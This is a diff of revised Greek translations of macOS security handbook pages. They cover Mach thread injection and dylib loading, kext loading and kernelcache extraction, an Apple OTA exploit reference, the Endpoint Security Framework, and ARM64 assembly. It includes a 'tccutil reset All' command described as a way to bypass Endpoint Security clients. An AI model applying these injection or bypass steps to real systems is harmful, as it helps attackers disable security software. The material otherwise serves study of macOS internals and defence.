Ήταν δυνατό να **εισαχθεί ένα απλό shellcode** για να εκτελέσει μια εντολή επειδή **δεν χρειαζόταν να λειτουργεί με posix** συμβατά apis, μόνο με Mach. **Πιο σύνθετες ενέσεις** θα χρειάζονταν ο **thread** να είναι επίσης **συμβατός με posix**.
|
||||
Ήταν δυνατό να **εισαχθεί ένα απλό shellcode** για να εκτελέσει μια εντολή επειδή **δεν χρειαζόταν να λειτουργεί με apis συμβατές με posix**, μόνο με Mach. **Πιο σύνθετες ενέσεις** θα χρειάζονταν ο **thread** να είναι επίσης **συμβατός με posix**.
|
||||
|
||||
Επομένως, για να **βελτιωθεί ο thread** θα πρέπει να καλέσει **`pthread_create_from_mach_thread`** που θα **δημιουργήσει ένα έγκυρο pthread**. Στη συνέχεια, αυτός ο νέος pthread θα μπορούσε να **καλέσει dlopen** για να **φορτώσει ένα dylib** από το σύστημα, έτσι αντί να γράφουμε νέο shellcode για να εκτελέσουμε διάφορες ενέργειες, είναι δυνατό να φορτώσουμε προσαρμοσμένες βιβλιοθήκες.
|
||||
|
||||
Μπορείτε να βρείτε **παραδείγματα dylibs** σε (για παράδειγμα αυτό που δημιουργεί ένα log και στη συνέχεια μπορείτε να το ακούσετε):
|
||||
Μπορείτε να βρείτε **παραδείγματα dylibs** σε (για παράδειγμα, αυτό που δημιουργεί ένα log και στη συνέχεια μπορείτε να το ακούσετε):
|
||||
|
||||
{{#ref}}
|
||||
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
|
||||
@ -24,13 +24,13 @@
|
||||
|
||||
Στο Catalina ήταν έτσι: Είναι ενδιαφέρον να σημειωθεί ότι η **διαδικασία επαλήθευσης** συμβαίνει σε **userland**. Ωστόσο, μόνο οι εφαρμογές με την χορήγηση **`com.apple.private.security.kext-management`** μπορούν να **ζητήσουν από τον πυρήνα να φορτώσει μια επέκταση**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
|
||||
1. **`kextutil`** cli **ξεκινά** τη **διαδικασία επαλήθευσης** για τη φόρτωση μιας επέκτασης
|
||||
1. **`kextutil`** cli **ξεκινά** τη διαδικασία **επικύρωσης** για τη φόρτωση μιας επέκτασης
|
||||
- Θα επικοινωνήσει με **`kextd`** στέλνοντας χρησιμοποιώντας μια **υπηρεσία Mach**.
|
||||
2. **`kextd`** θα ελέγξει διάφορα πράγματα, όπως την **υπογραφή**
|
||||
- Θα επικοινωνήσει με **`syspolicyd`** για να **ελέγξει** αν η επέκταση μπορεί να **φορτωθεί**.
|
||||
3. **`syspolicyd`** θα **ζητήσει** από τον **χρήστη** αν η επέκταση δεν έχει φορτωθεί προηγουμένως.
|
||||
- **`syspolicyd`** θα αναφέρει το αποτέλεσμα στον **`kextd`**
|
||||
4. **`kextd`** θα είναι τελικά σε θέση να **πεί** στον πυρήνα να φορτώσει την επέκταση
|
||||
4. Τελικά, **`kextd`** θα μπορέσει να **πεί τον πυρήνα να φορτώσει** την επέκταση
|
||||
|
||||
Αν **`kextd`** δεν είναι διαθέσιμο, **`kextutil`** μπορεί να εκτελέσει τους ίδιους ελέγχους.
|
||||
|
||||
@ -45,11 +45,11 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
|
||||
## Kernelcache
|
||||
|
||||
> [!CAUTION]
|
||||
> Αν και οι επεκτάσεις πυρήνα αναμένονται να βρίσκονται στο `/System/Library/Extensions/`, αν πάτε σε αυτόν τον φάκελο **δεν θα βρείτε κανένα δυαδικό αρχείο**. Αυτό οφείλεται στο **kernelcache** και για να αναστρέψετε ένα `.kext` πρέπει να βρείτε έναν τρόπο να το αποκτήσετε.
|
||||
> Αν και οι επεκτάσεις πυρήνα αναμένονται να βρίσκονται στο `/System/Library/Extensions/`, αν πάτε σε αυτόν τον φάκελο **δεν θα βρείτε κανένα δυαδικό αρχείο**. Αυτό συμβαίνει λόγω του **kernelcache** και για να αναστρέψετε ένα `.kext` πρέπει να βρείτε έναν τρόπο να το αποκτήσετε.
|
||||
|
||||
Το **kernelcache** είναι μια **προ-συγκεντρωμένη και προ-συνδεδεμένη έκδοση του πυρήνα XNU**, μαζί με βασικούς **οδηγούς** και **επικεφαλίδες πυρήνα**. Αποθηκεύεται σε **συμπιεσμένη** μορφή και αποσυμπιέζεται στη μνήμη κατά τη διαδικασία εκκίνησης. Το kernelcache διευκολύνει έναν **ταχύτερο χρόνο εκκίνησης** έχοντας μια έτοιμη προς εκτέλεση έκδοση του πυρήνα και κρίσιμων οδηγών διαθέσιμων, μειώνοντας τον χρόνο και τους πόρους που θα δαπανώνταν διαφορετικά για τη δυναμική φόρτωση και σύνδεση αυτών των στοιχείων κατά την εκκίνηση.
|
||||
Το **kernelcache** είναι μια **προ-συγκεντρωμένη και προ-συνδεδεμένη έκδοση του πυρήνα XNU**, μαζί με βασικούς **οδηγούς** και **επικεφαλίδες πυρήνα**. Αποθηκεύεται σε **συμπιεσμένη** μορφή και αποσυμπιέζεται στη μνήμη κατά τη διάρκεια της διαδικασίας εκκίνησης. Το kernelcache διευκολύνει έναν **ταχύτερο χρόνο εκκίνησης** έχοντας μια έτοιμη προς εκτέλεση έκδοση του πυρήνα και κρίσιμων οδηγών διαθέσιμων, μειώνοντας τον χρόνο και τους πόρους που θα δαπανώνταν διαφορετικά για τη δυναμική φόρτωση και σύνδεση αυτών των στοιχείων κατά την εκκίνηση.
|
||||
|
||||
### Local Kerlnelcache
|
||||
### Τοπικό Kerlnelcache
|
||||
|
||||
Στο iOS βρίσκεται στο **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** στο macOS μπορείτε να το βρείτε με: **`find / -name "kernelcache" 2>/dev/null`** \
|
||||
Στην περίπτωσή μου στο macOS το βρήκα στο:
|
||||
@ -113,7 +113,7 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```bash
|
||||
nm -a kernelcache.release.iphone14.e | wc -l
|
||||
```
|
||||
Με αυτό μπορούμε τώρα **να εξάγουμε όλες τις επεκτάσεις** ή την **μία που σας ενδιαφέρει:**
|
||||
Με αυτό μπορούμε τώρα να **εξάγουμε όλες τις επεκτάσεις** ή την **μία που σας ενδιαφέρει:**
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
|
||||
|
||||
[**Σε αυτή την αναφορά**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) εξηγούνται αρκετές ευπάθειες που επέτρεψαν την παραβίαση του πυρήνα παραβιάζοντας τον ενημερωτή λογισμικού.\
|
||||
[**Σε αυτή την αναφορά**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) εξηγούνται αρκετές ευπάθειες που επέτρεψαν την παραβίαση του πυρήνα, παραβιάζοντας τον ενημερωτή λογισμικού.\
|
||||
[**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,36 +4,36 @@
|
||||
|
||||
## System Extensions / Endpoint Security Framework
|
||||
|
||||
Σε αντίθεση με τις Kernel Extensions, **οι System Extensions εκτελούνται σε χώρο χρήστη** αντί για χώρο πυρήνα, μειώνοντας τον κίνδυνο συστήματος από κατάρρευση λόγω δυσλειτουργίας της επέκτασης.
|
||||
Σε αντίθεση με τις Kernel Extensions, **οι System Extensions εκτελούνται σε χώρο χρήστη** αντί για χώρο πυρήνα, μειώνοντας τον κίνδυνο κατάρρευσης του συστήματος λόγω δυσλειτουργίας της επέκτασης.
|
||||
|
||||
<figure><img src="../../../images/image (606).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure>
|
||||
|
||||
Υπάρχουν τρεις τύποι system extensions: **DriverKit** Extensions, **Network** Extensions, και **Endpoint Security** Extensions.
|
||||
Υπάρχουν τρεις τύποι συστημικών επεκτάσεων: **DriverKit** Extensions, **Network** Extensions και **Endpoint Security** Extensions.
|
||||
|
||||
### **DriverKit Extensions**
|
||||
|
||||
Το DriverKit είναι μια αντικατάσταση για τις kernel extensions που **παρέχουν υποστήριξη υλικού**. Επιτρέπει στους οδηγούς συσκευών (όπως USB, Serial, NIC, και HID drivers) να εκτελούνται σε χώρο χρήστη αντί για χώρο πυρήνα. Το πλαίσιο DriverKit περιλαμβάνει **εκδόσεις χώρου χρήστη ορισμένων κλάσεων I/O Kit**, και ο πυρήνας προωθεί κανονικά γεγονότα I/O Kit σε χώρο χρήστη, προσφέροντας ένα ασφαλέστερο περιβάλλον για αυτούς τους οδηγούς.
|
||||
Το DriverKit είναι μια αντικατάσταση για τις kernel extensions που **παρέχουν υποστήριξη υλικού**. Επιτρέπει στους οδηγούς συσκευών (όπως USB, Serial, NIC και HID drivers) να εκτελούνται σε χώρο χρήστη αντί για χώρο πυρήνα. Το πλαίσιο DriverKit περιλαμβάνει **εκδόσεις χώρου χρήστη ορισμένων κλάσεων I/O Kit**, και ο πυρήνας προωθεί κανονικά γεγονότα I/O Kit σε χώρο χρήστη, προσφέροντας ένα ασφαλέστερο περιβάλλον για αυτούς τους οδηγούς.
|
||||
|
||||
### **Network Extensions**
|
||||
|
||||
Οι Network Extensions παρέχουν τη δυνατότητα προσαρμογής των συμπεριφορών δικτύου. Υπάρχουν αρκετοί τύποι Network Extensions:
|
||||
|
||||
- **App Proxy**: Αυτό χρησιμοποιείται για τη δημιουργία ενός VPN client που υλοποιεί ένα ροής-προσανατολισμένο, προσαρμοσμένο πρωτόκολλο VPN. Αυτό σημαίνει ότι διαχειρίζεται την κυκλοφορία δικτύου με βάση τις συνδέσεις (ή ροές) αντί για μεμονωμένα πακέτα.
|
||||
- **Packet Tunnel**: Αυτό χρησιμοποιείται για τη δημιουργία ενός VPN client που υλοποιεί ένα πακέτο-προσανατολισμένο, προσαρμοσμένο πρωτόκολλο VPN. Αυτό σημαίνει ότι διαχειρίζεται την κυκλοφορία δικτύου με βάση τα μεμονωμένα πακέτα.
|
||||
- **Filter Data**: Αυτό χρησιμοποιείται για την φιλτράρισμα των "ροών" δικτύου. Μπορεί να παρακολουθεί ή να τροποποιεί τα δεδομένα δικτύου σε επίπεδο ροής.
|
||||
- **Packet Tunnel**: Αυτό χρησιμοποιείται για τη δημιουργία ενός VPN client που υλοποιεί ένα πακέτο-προσανατολισμένο, προσαρμοσμένο πρωτόκολλο VPN. Αυτό σημαίνει ότι διαχειρίζεται την κυκλοφορία δικτύου με βάση μεμονωμένα πακέτα.
|
||||
- **Filter Data**: Αυτό χρησιμοποιείται για την φιλτράρισμα "ροών" δικτύου. Μπορεί να παρακολουθεί ή να τροποποιεί τα δεδομένα δικτύου σε επίπεδο ροής.
|
||||
- **Filter Packet**: Αυτό χρησιμοποιείται για την φιλτράρισμα μεμονωμένων πακέτων δικτύου. Μπορεί να παρακολουθεί ή να τροποποιεί τα δεδομένα δικτύου σε επίπεδο πακέτου.
|
||||
- **DNS Proxy**: Αυτό χρησιμοποιείται για τη δημιουργία ενός προσαρμοσμένου παρόχου DNS. Μπορεί να χρησιμοποιηθεί για την παρακολούθηση ή την τροποποίηση των αιτημάτων και απαντήσεων DNS.
|
||||
|
||||
## Endpoint Security Framework
|
||||
|
||||
Το Endpoint Security είναι ένα πλαίσιο που παρέχεται από την Apple στο macOS που προσφέρει ένα σύνολο APIs για την ασφάλεια του συστήματος. Προορίζεται για χρήση από **προμηθευτές ασφάλειας και προγραμματιστές για την κατασκευή προϊόντων που μπορούν να παρακολουθούν και να ελέγχουν τη δραστηριότητα του συστήματος** για να εντοπίσουν και να προστατεύσουν από κακόβουλες δραστηριότητες.
|
||||
Το Endpoint Security είναι ένα πλαίσιο που παρέχεται από την Apple στο macOS που προσφέρει μια σειρά από APIs για την ασφάλεια του συστήματος. Προορίζεται για χρήση από **προμηθευτές ασφάλειας και προγραμματιστές για την κατασκευή προϊόντων που μπορούν να παρακολουθούν και να ελέγχουν τη δραστηριότητα του συστήματος** για να εντοπίσουν και να προστατεύσουν από κακόβουλες δραστηριότητες.
|
||||
|
||||
Αυτό το πλαίσιο παρέχει μια **συλλογή APIs για την παρακολούθηση και τον έλεγχο της δραστηριότητας του συστήματος**, όπως εκτελέσεις διεργασιών, γεγονότα συστήματος αρχείων, γεγονότα δικτύου και πυρήνα.
|
||||
|
||||
Ο πυρήνας αυτού του πλαισίου είναι υλοποιημένος στον πυρήνα, ως Kernel Extension (KEXT) που βρίσκεται στο **`/System/Library/Extensions/EndpointSecurity.kext`**. Αυτό το KEXT αποτελείται από αρκετά βασικά στοιχεία:
|
||||
Ο πυρήνας αυτού του πλαισίου είναι υλοποιημένος στον πυρήνα, ως Kernel Extension (KEXT) που βρίσκεται στο **`/System/Library/Extensions/EndpointSecurity.kext`**. Αυτό το KEXT αποτελείται από αρκετά βασικά συστατικά:
|
||||
|
||||
- **EndpointSecurityDriver**: Αυτό λειτουργεί ως το "σημείο εισόδου" για την επέκταση πυρήνα. Είναι το κύριο σημείο αλληλεπίδρασης μεταξύ του OS και του πλαισίου Endpoint Security.
|
||||
- **EndpointSecurityEventManager**: Αυτό το στοιχείο είναι υπεύθυνο για την υλοποίηση kernel hooks. Οι kernel hooks επιτρέπουν στο πλαίσιο να παρακολουθεί γεγονότα του συστήματος παρεμβαίνοντας σε κλήσεις συστήματος.
|
||||
- **EndpointSecurityEventManager**: Αυτό το συστατικό είναι υπεύθυνο για την υλοποίηση kernel hooks. Οι kernel hooks επιτρέπουν στο πλαίσιο να παρακολουθεί γεγονότα του συστήματος παρεμβαίνοντας σε κλήσεις συστήματος.
|
||||
- **EndpointSecurityClientManager**: Αυτό διαχειρίζεται την επικοινωνία με τους πελάτες χώρου χρήστη, παρακολουθώντας ποιες πελάτες είναι συνδεδεμένοι και χρειάζονται να λάβουν ειδοποιήσεις γεγονότων.
|
||||
- **EndpointSecurityMessageManager**: Αυτό στέλνει μηνύματα και ειδοποιήσεις γεγονότων στους πελάτες χώρου χρήστη.
|
||||
|
||||
@ -50,14 +50,14 @@
|
||||
|
||||
**Η επικοινωνία χώρου χρήστη** με το πλαίσιο Endpoint Security συμβαίνει μέσω της κλάσης IOUserClient. Χρησιμοποιούνται δύο διαφορετικές υποκλάσεις, ανάλογα με τον τύπο του καλούντος:
|
||||
|
||||
- **EndpointSecurityDriverClient**: Αυτό απαιτεί την επιλεξιμότητα `com.apple.private.endpoint-security.manager`, η οποία κατέχεται μόνο από τη διαδικασία συστήματος `endpointsecurityd`.
|
||||
- **EndpointSecurityExternalClient**: Αυτό απαιτεί την επιλεξιμότητα `com.apple.developer.endpoint-security.client`. Αυτό θα χρησιμοποιούνταν συνήθως από λογισμικό ασφάλειας τρίτων που χρειάζεται να αλληλεπιδράσει με το πλαίσιο Endpoint Security.
|
||||
- **EndpointSecurityDriverClient**: Αυτό απαιτεί την άδεια `com.apple.private.endpoint-security.manager`, η οποία κατέχεται μόνο από τη διαδικασία συστήματος `endpointsecurityd`.
|
||||
- **EndpointSecurityExternalClient**: Αυτό απαιτεί την άδεια `com.apple.developer.endpoint-security.client`. Αυτό θα χρησιμοποιείται συνήθως από λογισμικό ασφάλειας τρίτων που χρειάζεται να αλληλεπιδράσει με το πλαίσιο Endpoint Security.
|
||||
|
||||
Οι Endpoint Security Extensions:**`libEndpointSecurity.dylib`** είναι η C βιβλιοθήκη που χρησιμοποιούν οι system extensions για να επικοινωνούν με τον πυρήνα. Αυτή η βιβλιοθήκη χρησιμοποιεί το I/O Kit (`IOKit`) για να επικοινωνήσει με το KEXT Endpoint Security.
|
||||
Οι Endpoint Security Extensions:**`libEndpointSecurity.dylib`** είναι η C βιβλιοθήκη που χρησιμοποιούν οι συστημικές επεκτάσεις για να επικοινωνούν με τον πυρήνα. Αυτή η βιβλιοθήκη χρησιμοποιεί το I/O Kit (`IOKit`) για να επικοινωνήσει με το KEXT Endpoint Security.
|
||||
|
||||
**`endpointsecurityd`** είναι μια βασική υπηρεσία συστήματος που εμπλέκεται στη διαχείριση και εκκίνηση των επεκτάσεων συστήματος ασφάλειας, ιδιαίτερα κατά τη διάρκεια της πρώιμης διαδικασίας εκκίνησης. **Μόνο οι system extensions** που έχουν σημειωθεί με **`NSEndpointSecurityEarlyBoot`** στο αρχείο `Info.plist` τους λαμβάνουν αυτή τη μεταχείριση πρώιμης εκκίνησης.
|
||||
**`endpointsecurityd`** είναι μια βασική υπηρεσία συστήματος που εμπλέκεται στη διαχείριση και εκκίνηση των συστημικών επεκτάσεων ασφάλειας, ιδιαίτερα κατά τη διάρκεια της πρώιμης διαδικασίας εκκίνησης. **Μόνο οι συστημικές επεκτάσεις** που έχουν σημειωθεί με **`NSEndpointSecurityEarlyBoot`** στο αρχείο `Info.plist` τους λαμβάνουν αυτή τη θεραπεία πρώιμης εκκίνησης.
|
||||
|
||||
Μια άλλη υπηρεσία συστήματος, **`sysextd`**, **επικυρώνει τις system extensions** και τις μεταφέρει στις κατάλληλες θέσεις του συστήματος. Στη συνέχεια, ζητά από την σχετική υπηρεσία να φορτώσει την επέκταση. Το **`SystemExtensions.framework`** είναι υπεύθυνο για την ενεργοποίηση και απενεργοποίηση των system extensions.
|
||||
Μια άλλη υπηρεσία συστήματος, **`sysextd`**, **επικυρώνει τις συστημικές επεκτάσεις** και τις μεταφέρει στις κατάλληλες θέσεις του συστήματος. Στη συνέχεια, ζητά από την σχετική υπηρεσία να φορτώσει την επέκταση. Το **`SystemExtensions.framework`** είναι υπεύθυνο για την ενεργοποίηση και απενεργοποίηση των συστημικών επεκτάσεων.
|
||||
|
||||
## Bypassing ESF
|
||||
|
||||
@ -71,7 +71,7 @@ tccutil reset All
|
||||
```
|
||||
Για **περισσότερες πληροφορίες** σχετικά με αυτήν την παράκαμψη και σχετικές, ελέγξτε την ομιλία [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
|
||||
|
||||
Στο τέλος, αυτό διορθώθηκε δίνοντας τη νέα άδεια **`kTCCServiceEndpointSecurityClient`** στην εφαρμογή ασφαλείας που διαχειρίζεται το **`tccd`** έτσι ώστε το `tccutil` να μην διαγράφει τις άδειές της, εμποδίζοντας την από το να τρέξει.
|
||||
Στο τέλος, αυτό διορθώθηκε δίνοντας τη νέα άδεια **`kTCCServiceEndpointSecurityClient`** στην εφαρμογή ασφαλείας που διαχειρίζεται το **`tccd`**, έτσι ώστε το `tccutil` να μην διαγράψει τις άδειές της, εμποδίζοντας την από το να εκτελείται.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
||||
File diff suppressed because one or more lines are too long
@ -23,13 +23,13 @@
|
||||
|
||||
## **Καταχωρητές (ARM64v8)**
|
||||
|
||||
Το ARM64 έχει **31 γενικούς καταχωρητές**, που φέρουν την ετικέτα `x0` έως `x30`. Κάθε ένας μπορεί να αποθηκεύσει μια **64-bit** (8-byte) τιμή. Για λειτουργίες που απαιτούν μόνο 32-bit τιμές, οι ίδιοι καταχωρητές μπορούν να προσπελαστούν σε 32-bit λειτουργία χρησιμοποιώντας τα ονόματα w0 έως w30.
|
||||
Το ARM64 έχει **31 γενικούς καταχωρητές**, που φέρουν τις ετικέτες `x0` έως `x30`. Κάθε ένας μπορεί να αποθηκεύσει μια **64-bit** (8-byte) τιμή. Για λειτουργίες που απαιτούν μόνο 32-bit τιμές, οι ίδιοι καταχωρητές μπορούν να προσπελαστούν σε 32-bit λειτουργία χρησιμοποιώντας τα ονόματα w0 έως w30.
|
||||
|
||||
1. **`x0`** έως **`x7`** - Αυτοί χρησιμοποιούνται συνήθως ως καταχωρητές scratch και για τη μεταφορά παραμέτρων σε υπορουτίνες.
|
||||
- **`x0`** μεταφέρει επίσης τα δεδομένα επιστροφής μιας συνάρτησης
|
||||
2. **`x8`** - Στον πυρήνα Linux, το `x8` χρησιμοποιείται ως αριθμός κλήσης συστήματος για την εντολή `svc`. **Στο macOS, το x16 είναι αυτό που χρησιμοποιείται!**
|
||||
3. **`x9`** έως **`x15`** - Περισσότεροι προσωρινοί καταχωρητές, συχνά χρησιμοποιούμενοι για τοπικές μεταβλητές.
|
||||
4. **`x16`** και **`x17`** - **Καταχωρητές Ενδο-διαδικαστικής Κλήσης**. Προσωρινοί καταχωρητές για άμεσες τιμές. Χρησιμοποιούνται επίσης για έμμεσες κλήσεις συναρτήσεων και PLT (Πίνακας Σύνδεσης Διαδικασίας).
|
||||
4. **`x16`** και **`x17`** - **Καταχωρητές Ενδο-διαδικαστικής Κλήσης**. Προσωρινοί καταχωρητές για άμεσες τιμές. Χρησιμοποιούνται επίσης για έμμεσες κλήσεις συναρτήσεων και PLT (Πίνακας Σύνδεσης Διαδικασίας) stubs.
|
||||
- **`x16`** χρησιμοποιείται ως **αριθμός κλήσης συστήματος** για την εντολή **`svc`** στο **macOS**.
|
||||
5. **`x18`** - **Καταχωρητής πλατφόρμας**. Μπορεί να χρησιμοποιηθεί ως γενικός καταχωρητής, αλλά σε ορισμένες πλατφόρμες, αυτός ο καταχωρητής είναι δεσμευμένος για συγκεκριμένες χρήσεις πλατφόρμας: Δείκτης στο τρέχον περιβάλλον νήματος στη Windows, ή για να δείχνει στη δομή τρέχουσας **εκτελούμενης εργασίας στον πυρήνα linux**.
|
||||
6. **`x19`** έως **`x28`** - Αυτοί είναι καταχωρητές που διατηρούνται από τον καλούμενο. Μια συνάρτηση πρέπει να διατηρεί τις τιμές αυτών των καταχωρητών για τον καλούντα, οπότε αποθηκεύονται στο στοίβα και ανακτώνται πριν επιστρέψουν στον καλούντα.
|
||||
@ -41,7 +41,7 @@
|
||||
9. **`sp`** - **Δείκτης στοίβας**, χρησιμοποιείται για την παρακολούθηση της κορυφής της στοίβας.
|
||||
- Η τιμή **`sp`** θα πρέπει πάντα να διατηρείται τουλάχιστον σε **ευθυγράμμιση quadword** ή μπορεί να προκύψει εξαίρεση ευθυγράμμισης.
|
||||
10. **`pc`** - **Μετρητής προγράμματος**, που δείχνει στην επόμενη εντολή. Αυτός ο καταχωρητής μπορεί να ενημερωθεί μόνο μέσω γενεών εξαιρέσεων, επιστροφών εξαιρέσεων και κλάδων. Οι μόνοι κανονικοί εντολές που μπορούν να διαβάσουν αυτόν τον καταχωρητή είναι οι εντολές κλάδου με σύνδεση (BL, BLR) για να αποθηκεύσουν τη διεύθυνση **`pc`** στο **`lr`** (Καταχωρητής Σύνδεσης).
|
||||
11. **`xzr`** - **Καταχωρητής μηδέν**. Ονομάζεται επίσης **`wzr`** στην **32**-bit μορφή του. Μπορεί να χρησιμοποιηθεί για να αποκτήσει εύκολα την τιμή μηδέν (συνηθισμένη λειτουργία) ή για να εκτελέσει συγκρίσεις χρησιμοποιώντας **`subs`** όπως **`subs XZR, Xn, #10`** αποθηκεύοντας τα αποτελέσματα που προκύπτουν πουθενά (στο **`xzr`**).
|
||||
11. **`xzr`** - **Καταχωρητής μηδέν**. Ονομάζεται επίσης **`wzr`** στην **32**-bit μορφή του. Μπορεί να χρησιμοποιηθεί για να αποκτήσει εύκολα την τιμή μηδέν (συνηθισμένη λειτουργία) ή για να εκτελέσει συγκρίσεις χρησιμοποιώντας **`subs`** όπως **`subs XZR, Xn, #10`** αποθηκεύοντας τα αποτελέσματα που δεν προορίζονται πουθενά (στο **`xzr`**).
|
||||
|
||||
Οι καταχωρητές **`Wn`** είναι η **32bit** έκδοση του καταχωρητή **`Xn`**.
|
||||
|
||||
@ -62,7 +62,7 @@
|
||||
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE** περιέχει αρκετά στοιχεία διαδικασίας σειριακά στο ορατό από το λειτουργικό σύστημα **`SPSR_ELx`** ειδικό καταχωρητή, όπου το X είναι το **επίπεδο άδειας** της ενεργοποιημένης εξαίρεσης (αυτό επιτρέπει την ανάκτηση της κατάστασης της διαδικασίας όταν τελειώνει η εξαίρεση).\
|
||||
**PSTATE** περιέχει αρκετά στοιχεία διαδικασίας σειριακά στο ορατό από το λειτουργικό σύστημα **`SPSR_ELx`** ειδικό καταχωρητή, όπου το X είναι το **επίπεδο άδειας** **της ενεργοποιημένης** εξαίρεσης (αυτό επιτρέπει την ανάκτηση της κατάστασης της διαδικασίας όταν τελειώνει η εξαίρεση).\
|
||||
Αυτά είναι τα προσβάσιμα πεδία:
|
||||
|
||||
<figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
|
||||
@ -71,7 +71,7 @@
|
||||
- **`N`** σημαίνει ότι η λειτουργία απέδωσε αρνητικό αποτέλεσμα
|
||||
- **`Z`** σημαίνει ότι η λειτουργία απέδωσε μηδέν
|
||||
- **`C`** σημαίνει ότι η λειτουργία είχε μεταφορά
|
||||
- **`V`** σημαίνει ότι η λειτουργία απέδωσε υπερχείλιση υπογραφής:
|
||||
- **`V`** σημαίνει ότι η λειτουργία απέδωσε υπερχείλιση υπογεγραμμένου:
|
||||
- Το άθροισμα δύο θετικών αριθμών αποδίδει αρνητικό αποτέλεσμα.
|
||||
- Το άθροισμα δύο αρνητικών αριθμών αποδίδει θετικό αποτέλεσμα.
|
||||
- Στην αφαίρεση, όταν αφαιρείται ένας μεγάλος αρνητικός αριθμός από έναν μικρό θετικό αριθμό (ή το αντίστροφο), και το αποτέλεσμα δεν μπορεί να αναπαρασταθεί εντός του εύρους του δεδομένου μεγέθους bit.
|
||||
@ -86,7 +86,7 @@
|
||||
- Η σημαία **κατάστασης παράνομης εξαίρεσης** (**`IL`**): Χρησιμοποιείται για να σημάνει πότε ένα προνομιακό λογισμικό εκτελεί μια μη έγκυρη μεταφορά επιπέδου εξαίρεσης, αυτή η σημαία ρυθμίζεται σε 1 και ο επεξεργαστής ενεργοποιεί μια εξαίρεση παράνομης κατάστασης.
|
||||
- Οι σημαίες **`DAIF`**: Αυτές οι σημαίες επιτρέπουν σε ένα προνομιακό πρόγραμμα να επιλέξει να αποκλείσει ορισμένες εξωτερικές εξαιρέσεις.
|
||||
- Εάν **`A`** είναι 1 σημαίνει ότι θα ενεργοποιηθούν **ασύγχρονοι τερματισμοί**. Η **`I`** ρυθμίζει την αντίδραση σε εξωτερικά αιτήματα διακοπής (IRQs). και το F σχετίζεται με **Γρήγορα Αιτήματα Διακοπής** (FIRs).
|
||||
- Οι σημαίες επιλογής δείκτη στοίβας (**`SPS`**): Προνομιακά προγράμματα που εκτελούνται στο EL1 και άνω μπορούν να εναλλάσσουν τη χρήση του δικού τους καταχωρητή δείκτη στοίβας και του καταχωρητή μοντέλου χρήστη (π.χ. μεταξύ `SP_EL1` και `EL0`). Αυτή η εναλλαγή πραγματοποιείται γράφοντας στον ειδικό καταχωρητή **`SPSel`**. Αυτό δεν μπορεί να γίνει από το EL0.
|
||||
- Οι σημαίες **επιλογής δείκτη στοίβας** (**`SPS`**): Προνομιακά προγράμματα που εκτελούνται στο EL1 και άνω μπορούν να εναλλάσσουν τη χρήση του δικού τους καταχωρητή δείκτη στοίβας και του καταχωρητή μοντέλου χρήστη (π.χ. μεταξύ `SP_EL1` και `EL0`). Αυτή η εναλλαγή πραγματοποιείται γράφοντας στον ειδικό καταχωρητή **`SPSel`**. Αυτό δεν μπορεί να γίνει από το EL0.
|
||||
|
||||
## **Σύμβαση Κλήσης (ARM64v8)**
|
||||
|
||||
@ -100,10 +100,10 @@
|
||||
|
||||
## **Κοινές Εντολές (ARM64v8)**
|
||||
|
||||
Οι εντολές ARM64 γενικά έχουν τη **μορφή `opcode dst, src1, src2`**, όπου **`opcode`** είναι η **λειτουργία** που θα εκτελεστεί (όπως `add`, `sub`, `mov`, κ.λπ.), **`dst`** είναι ο **καταχωρητής προορισμού** όπου θα αποθηκευτεί το αποτέλεσμα, και **`src1`** και **`src2`** είναι οι **καταχωρητές πηγής**. Άμεσες τιμές μπορούν επίσης να χρησιμοποιηθούν αντί για καταχωρητές πηγής.
|
||||
Οι εντολές ARM64 γενικά έχουν τη **μορφή `opcode dst, src1, src2`**, όπου **`opcode`** είναι η **λειτουργία** που θα εκτελεστεί (όπως `add`, `sub`, `mov`, κ.λπ.), **`dst`** είναι ο **καταχωρητής προορισμού** όπου θα αποθηκευτεί το αποτέλεσμα, και **`src1`** και **`src2`** είναι οι **καταχωρητές πηγής**. Οι άμεσες τιμές μπορούν επίσης να χρησιμοποιηθούν αντί για καταχωρητές πηγής.
|
||||
|
||||
- **`mov`**: **Μετακίνηση** μιας τιμής από έναν **καταχωρητή** σε έναν άλλο.
|
||||
- Παράδειγμα: `mov x0, x1` — Αυτό μετακινεί την τιμή από `x1` στο `x0`.
|
||||
- **`mov`**: **Μεταφορά** μιας τιμής από έναν **καταχωρητή** σε έναν άλλο.
|
||||
- Παράδειγμα: `mov x0, x1` — Αυτό μεταφέρει την τιμή από το `x1` στο `x0`.
|
||||
- **`ldr`**: **Φόρτωση** μιας τιμής από **μνήμη** σε έναν **καταχωρητή**.
|
||||
- Παράδειγμα: `ldr x0, [x1]` — Αυτό φορτώνει μια τιμή από τη διεύθυνση μνήμης που υποδεικνύεται από το `x1` στο `x0`.
|
||||
- **Λειτουργία Offset**: Ένα offset που επηρεάζει τον αρχικό δείκτη υποδεικνύεται, για παράδειγμα:
|
||||
@ -112,8 +112,8 @@
|
||||
- **Προκαθορισμένη Λειτουργία**: Αυτό θα εφαρμόσει υπολογισμούς στον αρχικό δείκτη, θα πάρει το αποτέλεσμα και θα αποθηκεύσει επίσης τον νέο αρχικό δείκτη στον αρχικό δείκτη.
|
||||
- `ldr x2, [x1, #8]!`, αυτό θα φορτώσει το `x1 + 8` στο `x2` και θα αποθηκεύσει στο x1 το αποτέλεσμα του `x1 + 8`
|
||||
